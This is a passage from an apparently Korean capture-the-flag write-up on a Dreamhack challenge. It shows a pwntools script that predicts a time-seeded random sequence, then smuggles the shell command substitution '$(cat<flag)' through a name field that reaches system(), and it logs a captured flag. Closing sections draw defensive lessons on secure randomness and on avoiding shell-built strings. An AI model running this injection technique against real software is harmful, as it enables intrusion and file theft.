    pos = 0
    catnip = 0
    jump_cnt = 0
    moves = []
 
    while jump_cnt < GOAL:
        obstacle = seq[pos] % 2
        pos += 1
 
        if catnip:            # 무적 상태에선 입력이 뭐든 통과 — 그래도 한 글자는 보내야 한다
            catnip -= 1
            moves.append(b"h")
        else:
            moves.append(b"h" if obstacle == 1 else b"l")
        jump_cnt += 1
 
        p = seq[pos] / RAND_MAX
        pos += 1
        if p < CATNIP_P:
            catnip = CATNIP_TIMES
 
    return moves
 
 
def attempt(io, seed, payload):
    """한 연결에서 시드 하나를 시험한다. flag 를 찾으면 bytes, 아니면 None."""
    moves = plan_moves(seed)
    # scanf("%c%*c") 가 글자 하나 + 버릴 글자 하나를 먹으므로 "h\n" 짝으로 보낸다.
    # 37수를 한 번에 밀어넣어야 run.sh 의 timeout 60 안에 끝난다.
    io.send(b"".join(m + b"\n" for m in moves))
 
    try:
        data = io.recvuntil(b"reached the roof", timeout=15)
    except EOFError:
        return None
    if b"reached the roof" not in data:
        return None
 
    # 여기부터는 "let people know your cat's name" 프롬프트 뒤의 scanf("%31s") 차례다.
    io.send(payload + b"\n")
    tail = io.recvall(timeout=5)
    return tail
 
 
def find_flag(blob):
    if not blob:
        return None
    for line in blob.split(b"\n"):
        if b"DH{" in line:
            start = line.index(b"DH{")
            end = line.find(b"}", start)
            if end != -1:
                return line[start:end + 1]
    return None
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host")
    ap.add_argument("--port", type=int)
    ap.add_argument("--local", action="store_true")
    ap.add_argument("--bin", default="extracted/deploy/cat_jump")
    ap.add_argument("--cwd", default=None, help="로컬 실행 디렉토리(flag 가 있는 곳)")
    ap.add_argument("--window", type=int, default=4, help="시드 후보 ±초")
    args = ap.parse_args()
 
    context.log_level = "warning"
 
    offsets = [0]
    for d in range(1, args.window + 1):
        offsets += [-d, +d]
 
    for payload in PAYLOADS:
        for off in offsets:
            if args.local:
                # pwntools 는 cwd 를 준 뒤에도 실행경로를 cwd 기준으로 다시 푼다 → 절대경로로.
                io = process(os.path.abspath(args.bin),
                             cwd=os.path.abspath(args.cwd) if args.cwd else None)
            else:
                io = remote(args.host, args.port)
            seed = int(time.time()) + off
            print(f"[*] payload={payload.decode():14} offset={off:+d} seed={seed} ... ", end="", flush=True)
            try:
                tail = attempt(io, seed, payload)
            finally:
                io.close()
 
            flag = find_flag(tail)
            if flag:
                print("HIT")
                print(f"\n[+] FLAG: {flag.decode()}")
                return 0
            print("옥상 도달 실패" if tail is None else "도달했으나 flag 없음")
 
    print("\n[-] 모든 후보 실패 — window 를 늘리거나 서버 시계를 다시 보라")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

로컬 검증 먼저

서버를 켜기 전에 로컬 바이너리로 끝까지 돌려 확인했다. local/ 에 바이너리 사본과 더미 flag 를 두고 거기서 실행한다.

mkdir -p local
cp extracted/deploy/cat_jump local/
chmod +x local/cat_jump
printf 'DH{LOCAL_TEST_FAKE_FLAG_not_real}\n' > local/flag
python3 solve.py --local --bin local/cat_jump --cwd local --window 1
solve.py 로컬 실행 — offset +0 에서 바로 옥상 도달, 더미 플래그 출력
solve.py 로컬 실행 — offset +0 에서 바로 옥상 도달, 더미 플래그 출력

로컬은 프로세스와 시계가 같으니 offset +0 에서 바로 걸린다. --window 1 로 충분하다.

원격

라이브 서버에 붙는다. 서버·클라이언트 시계 차이를 감안해 --window 4 (±4초, 후보 9개)로 잡았다.

python3 solve.py --host host3.dreamhack.games --port 11552 --window 4
solve.py 원격 실행 — offset +0 에서 첫 시도에 옥상 도달, 실제 플래그 획득
solve.py 원격 실행 — offset +0 에서 첫 시도에 옥상 도달, 실제 플래그 획득

첫 후보에서 걸렸다. 서버 시계가 우리 시계와 초 단위로 맞아 있었다는 뜻이다.

[*] payload=$(cat<flag)    offset=+0 seed=1785647630 ... HIT
 
[+] FLAG: DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}


📝 결론

srand(time(NULL)) 은 난수가 아니라 공개된 상수다

이 문제에서 난수는 "게임 난이도"로만 쓰인 것처럼 보이지만, 실제로는 플래그로 가는 문을 지키는 유일한 장치였다. 시드가 초 단위 시각이면 후보가 몇 개뿐이고, 한 번 맞히면 이후 스트림은 전부 결정된다.

게임 로직이든 보안 검사든, 공격자가 결과를 예측해서 이득을 보는 자리라면 rand() 를 쓰면 안 된다. 리눅스에서는 getrandom(2) 나 arc4random() 이 답이고, 이쪽은 시드를 알아도 상태를 복원할 수 없다.

문자열을 조립해서 system() 에 넘기지 않는다

snprintf 로 크기를 제대로 제한했고 버퍼도 안 넘쳤지만 그건 아무 의미가 없었다. 문제는 길이가 아니라 사용자 입력이 셸 문법으로 해석되는 문맥에 들어갔다는 것이다.

큰따옴표로 감쌌으니 안전하다고 생각하기 쉬운데, 큰따옴표 안에서도 명령 치환 $(...) 과 백틱은 그대로 동작한다. 파일에 쓰는 게 목적이었다면 셸을 거칠 이유가 없다 — fopen/fwrite 로 끝날 일이었고, 굳이 외부 명령이 필요했다면 execve 계열로 인자를 배열로 넘겨 셸 파싱 자체를 없애야 했다.

필터가 아니라 파서를 봐야 한다

scanf("%31s") 는 보안 목적이 아니었는데도 결과적으로 공백을 막아 "필터"처럼 굴었다. 그런데 그 제약은 < 리다이렉션 하나로 우회됐다. 입력 함수의 부수 효과에 방어를 기대면 이런 식으로 뚫린다.

주석은 증거가 아니다

소스 주석은 -no-pie -fno-stack-protector 로 빌드했다고 적혀 있었지만 실제 바이너리는 PIE 에 카나리까지 있었다. 배포된 물건을 직접 확인하는 습관이 없으면 존재하지도 않는 공격 표면을 찾느라 시간을 쓰게 된다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…